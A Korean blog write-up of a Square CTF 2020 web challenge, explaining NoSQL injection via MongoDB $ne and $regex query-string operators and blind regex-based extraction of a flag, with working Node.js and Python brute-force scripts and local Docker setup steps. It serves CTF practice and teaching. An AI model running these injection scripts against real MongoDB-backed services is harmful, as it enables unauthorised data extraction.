post-custom-banner

11.14 ~ 11.15

너무 빡세게 하고 싶지 않아서 한문제 풀었다.

제일 재미있었던 문제: 블라인드 에스큐엘 인젝션

1. 문제

NoSQL 에 Blind Sql Injection을 수행하는 문제

1) 유형

Web

2) 내용

웹 블로그에서 숨겨진 플레그를 찾는 문제입니다.

3) 풀이법

blind sql injection

2. 분석

1) Rest API

주어진 URL로 들어가면 React로 구현된 웹 애플리케이션이 나옵니다.

게시물은 Rest API로 구성된 서버에서 정보를 받아옵니다.

다음과 같이 요청을 보냈을때 title이 test인 게시물 1개만 받아왔습니다.

http://challenges.2020.squarectf.com:9542/api/posts?title=test

2) NoSQL Injection

몽고 DB로 구성된 데이터 베이스에 NoSQL Injection 을 수행할 수 있습니다.

중요한 점은 query string에 다음과 같이 객체로 정보를 넘길 수 있다는 점입니다.

아래와 같이 요청했을때 title이 test가 아닌 데이터만 받아옵니다.

몽고 DB $ne 설명

/*
  $ne는 not equal의 약자로
  title이 test가 아닌 게시물들을 찾습니다.
*/
http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test


// 몽고DB 에서는 이렇게 수행됩니다.
db.posts.find( 
    { 
        title: { 
            $ne: 'test' 
        } 
    } 
)

$regex 로 정규표현식을 사용할 수 있습니다.

다음과 같이 정규 표현식을 사용하면 title이 f로 시작하는 게시물만 가져올 수 있습니다.

// title이 f로 시작하는 게시물만 가져옵니다.
http://challenges.2020.squarectf.com:9542/api/posts?title[$regex]=^f

3) Blind SQL Injection

redacted by WAF

하지만, SQL Injection으로 DB에서 원하는 데이터를 읽어온다고 해도 그 이후에 WAF (웹 서버 방화벽) 에서 필터링하기 때문에 flag를 읽을 수 없습니다.

그러면 어떻게 flag 를 읽을 수 있을까요?

3
2
1
....

Blind SQL Injection 을 이용하면 역발상으로 읽을 수 있습니다.

4) Regex

정규표현식으로 flag의 내용을 유추합니다.

flag의 내용이 flag{ 라고 생각해서 요청을 보냈고 응답을 받았습니다.

이 의미는 flag의 내용이 flag{????????????} 라는 의미와 같습니다.

http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{

flag{a 라고 보내는 경우 응답을 받지 못했습니다.

이 의미는 flag{ 다음의 문자가 a가 아니라는 의미입니다.

http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{a

flag{n 라고 보내는 경우 플래그 를 받았습니다.

이 의미는 flag{ 다음의 문자가 n으로 플래그는 flag{n?????????} 이라는 의미입니다.

http://challenges.2020.squarectf.com:9542/api/posts?title[$ne]=test&flag[$regex]=flag{n

이러한 방법으로 문자를 무차별 대입해서 flag의 내용을 찾을 수 있습니다.

정리하면 Blind SQL Injection 이란

쿼리를 삽입해서, 데이터를 바로 읽어오는 방법이 아니고,

이게 맞는지 틀린지를 구분하는 쿼리를 통해

내게 필요한 정보를 유추해가는 과정.

3. 코드

1) node.js

// 1. http 요청을 보내기 위한 axios 모듈 사용 
const axios = require('axios')

// 2. flag 의 정보 유추
let flag = 'flag{'

// 3. 무차별 대입할 문자 테이블
let table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMHOPQRSTUVWXYZ{}!_-"

/*
    4. http 요청을 보내는 함수 getFlag
    자바스크립트는 기본적으로 비동기 요청이기 때문에 응답 순서가 요청순서와 다릅니다.
    
    비동기로 작성하면
    제가 다음 문자가 a라고 요청해도
    응답을 받기전에 b문자를 요청합니다.
    그리고 b 문자의 응답을 먼저 받을 수 있습니다.

    요청 순서와 응답 순서를 일치 시키기 위해 async로 작성했습니다.
*/
const getFlag = async function () {

    // 5. flag 찾았는지 여부
    let findFlag = false

    // 6. flag를 찾을 때 까지 반복문을 수행합니다.
    while(!findFlag) {

        // 7. 테이블에서 문자 한개씩 꺼내기
        for(let ascii of table) {
            let payload = flag + ascii

            // 8. 비동기 요청
            let result = await axios.get(`http://challenges.2020.squarectf.com:9542/api/posts?title=flag&flag[$regex]=${payload}`)

            // 9. 응답 확인
            if (result) {
                const data = result.data

                // 10. 응답이 빈 리스트가 아닌 경우 flag 문자열을 맞춘겁니다.
                if(data.length > 0) {
                    console.log(payload)

                    // 11. } 까지 flag를 맞추면 반복문을 종료합니다.
                    if(ascii == '}') {
                        findFlag = true
                    }
                    // 12. flag를 업데이트 합니다.
                    flag = payload
                }
            }
        }
    }
}

getFlag()

2) python3

# 1. http 요청을 보내기 위한 requests 모듈 사용
import requests

# 2. flag 정보 유추
flag = "flag{"

# 3. 무차별 대입할 문자 테이블
table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMHOPQRSTUVWXYZ{}!_-"

# 4. 기본 URL 설정
base_url = "http://challenges.2020.squarectf.com:9542/api/posts?title=flag&flag[$regex]="

# 5. flag 찾았는지 여부
find_flag = False

# 6. flag 찾을 때 까지 반목문 수행
while not find_flag:

    # 7. 테이블에서 문자 한개씩 꺼내기
    for ascii in table:

        payload = flag + ascii
        url = base_url + payload

        # 8. http get 동기 요청
        result = requests.get(url)

        # 9. 응답이 빈 리스트가 아닌 경우
        if len(result.json()) > 0:
            # 10. 응답 출력
            print(payload)

            # 11. } 까지 flag 를 맞추면 반복문 종료
            if ascii == "}":
                find_flag = True

            # 12. flag를 업데이트합니다.
            flag = payload

4. 결과

5. 실습

square CTF는 모든 문제를 docker로 제공합니다.
https://squarectf.com/2020/deepweb.html

1) 압축 해제 및 코드 수정

편집기로 열어서 /deepwebblog/web/Dockerfilenode 버전을 14.0.으로 내립니다.
(도커 파일 만들때 왜 버전을 latest로 했는지 몰라)

FROM node:latest

FROM node:14.0.0

그리고 url을 변경해줍니다. 변경안하면, 도메인 찔러서 timeout 발생합니다.
(이쯤되니 대회에서 사용했던 파일 그냥 말아서 준것 같다)

- API_URL=http://challenges.2020.squarectf.com:9542/api/

- API_URL=http://localhost:9542/api/

2) 실행

docker-compose.yml 파일이 있는 디렉토리에서 다음 명령어 수행

docker-compose up

3) 확인

http://localhost:9541/ 에 접속하면 잘 나옵니다. 루프백 http://127.0.0.1:9541/도 잘나옴

4) exploit

위의 코드에서 도메인 부분을 localhost로 변경해서 수행합니다.

6. 참고자료

https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/

profile
callmeskye
post-custom-banner

0개의 댓글